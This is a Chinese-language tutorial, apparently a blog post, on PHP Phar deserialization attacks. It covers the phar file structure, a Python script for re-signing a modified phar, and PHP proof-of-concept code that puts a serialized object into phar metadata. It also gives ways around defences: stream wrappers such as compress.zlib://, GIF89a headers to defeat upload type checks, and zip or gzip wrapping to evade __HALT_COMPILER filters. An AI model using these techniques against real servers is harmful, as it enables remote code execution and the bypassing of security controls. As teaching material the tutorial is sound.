可参考:【精选】什么是反序列化?反序列化的过程,原理-CSDN博客
通俗的说序列化将对象转化为了字符串,包含了对象的所有数据信息,
反序列化时再根据这些信息还原对象
序列化:就是将对象转化成字节序列的过程。
反序列化:就是讲字节序列转化成对象的过程。
对象序列化成的字节序列会包含对象的类型信息、对象的数据等,说白了就是包含了描述这个对象的所有信息,能根据这些信息“复刻”出一个和原来一模一样的对象。
有以下两个原因
Phar是PHP的压缩文档,是PHP中类似于JAR的一种打包文件。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。
phar扩展提供了一种将整个PHP应用程序放入.phar文件中的方法,以方便移动、安装。
.phar文件的最大特点是将几个文件组合成一个文件的便捷方式,.phar文件提供了一种将完整的PHP程序分布在一个文件中并从该文件中运行的方法
可以将phar文件类比为一个压缩文件
借用kali_Ma_笔记,渗透测试,安全-CSDN博客的解释就是
php序列化和反序列化过程

执行结果:
![]()
反序列化结果:


php的序列化将对象转化为了字符串,包含了对象的所有数据信息,
反序列化时再根据这些信息还原对象

1.stub //phar文件头
2.manifest //压缩文件信息
3.contents //压缩文件内容
4.signature //签名
Stub是Phar的文件标识,也可以理解为它就是Phar的文件头
这个Stub其实就是一个简单的PHP文件,它的格式具有一定的要求,具体如下
xxx xxx; __HALT_COMPILER();?>
前面的内容是不限制的,可以是任意字符,包括留空
php闭合符与最后一个分号之间不能有多于一个的空格符。另外php闭合符也可省略
但在该PHP语句中,必须有 __HALT_COMPILER() ,没有这个,PHP就无法识别出它是Phar文件
用于存放文件的属性、权限等信息。
这里也是反序列化的攻击点,因为这里以序列化的形式存储了用户自定义的 Meta-data

用于存放Phar文件的内容
位于文件末尾

签证尾部的01代表md5加密,02代表sha1加密,04代表sha256加密,08代表sha512加密
当我们修改文件的内容时,签名就会变得无效,这个时候需要更换一个新的签名
更换签名的脚本
- from hashlib import sha1
- with open('test.phar', 'rb') as file:
- f = file.read()
- s = f[:-28] # 获取要签名的数据
- h = f[-8:] # 获取签名类型和GBMB标识
- newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
- with open('newtest.phar', 'wb') as file:
- file.write(newf) # 写入新文件
Phar之所以能反序列化,是因为Phar文件会以序列化的形式存储用户自定义的meta-data,PHP使用phar_parse_metadata在解析meta数据时,会调用php_var_unserialize进行反序列化操作
利用条件:
1、phar文件能够上传至服务器
//即要求存在file_get_contents()、fopen()这种函数2、要有可利用的魔术方法
//利用魔术方法作为"跳板"3、文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤
//一般利用姿势是上传Phar文件后通过伪协议Phar来实现反序列化,伪协议Phar格式是`Phar://`这种,如果这几个特殊字符被过滤就无法实现反序列化4、php.ini中的phar.readonly选项,需要为Off(默认是on)。
Phar属于伪协议,伪协议使用较多的是一些文件操作函数,如fopen()、copy()、file_exists()等,具体如下图,也就是下面的函数如果参数可控可以造成Phar反序列化

需要去检查一下php.ini中的phar.readonly选项,如果是On,需要修改为Off。
还需要下列代码生成
-
- class test{
- public $name="qwq";
- function __destruct()
- {
- echo $this->name;
- }
- }
- $a = new test();
- $a->name="phpinfo();";
- $phartest=new phar('phartest.phar',0);//后缀名必须为phar
- $phartest->startBuffering();//开始缓冲 Phar 写操作
- $phartest->setMetadata($a);//自定义的meta-data存入manifest
- $phartest->setStub("");//设置stub,stub是一个简单的php文件。PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测
- $phartest->addFromString("test.txt","test");//添加要压缩的文件
- $phartest->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
- ?>
当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://等绕过
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
也可以利用其它协议
php://filter/read=convert.base64-encode/resource=phar://phar.phar
GIF格式验证可以通过在文件头部添加GIF89a绕过
1、$phar->setStub(“GIF89a”.""); //设置stub
2、生成一个phar.phar,修改后缀名为phar.gif
如:
更改文件格式
我们利用Phar反序列化的第一步就是需要上传Phar文件到服务器,而如果服务端存在防护,比如这种
$_FILES["file"]["type"]=="image/gif"
要求文件格式只能为gif,这个时候我们该怎么办呢?
因为PHP识别Phar文件的方式是通过Stub里的__HALT_COMPILER();来识别这个文件是Phar文件,对于其他是无限制的,也就意味着我们即使对文件后缀和文件名进行更改,其实质仍然是Phar文件。
示例代码
- class Test {
- public $name;
- function __construct(){
- echo "I am".$this->name.".";
- }
- }
- $obj = new Test();
- $obj -> name = "quan9i";
- $phar = new Phar('test.phar');
- $phar -> startBuffering(); //开始缓冲 Phar 写操作
- $phar -> setStub('GIF89a'); //设置stub,添加gif文件头
- $phar ->addFromString('test.txt','test'); //要压缩的文件
- $phar -> setMetadata($obj); //将自定义meta-data存入manifest
- $phar -> stopBuffering(); 停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
- ?>
绕过__HALT_COMPILER();检测
PHP通过__HALT_COMPILER来识别Phar文件,那么出于安全考虑,即为了防止Phar反序列化的出现,可能就会对这个进行过滤
示例代码如下
- if (preg_match("/HALT_COMPILER/i",$Phar){
- die();
- }
这里的话绕过思路有两个
1、将Phar文件的内容写到压缩包注释中,压缩为zip文件,示例代码如下
- $a = serialize($a);
- $zip = new ZipArchive();
- $res = $zip->open('phar.zip',ZipArchive::CREATE);
- $zip->addFromString('flag.txt', 'flag is here');
- $zip->setArchiveComment($a);
- $zip->close();
- ?>
2、将生成的Phar文件进行gzip压缩,压缩命令如下
gzip test.phar
压缩后同样也可以进行反序列化
相关链接见: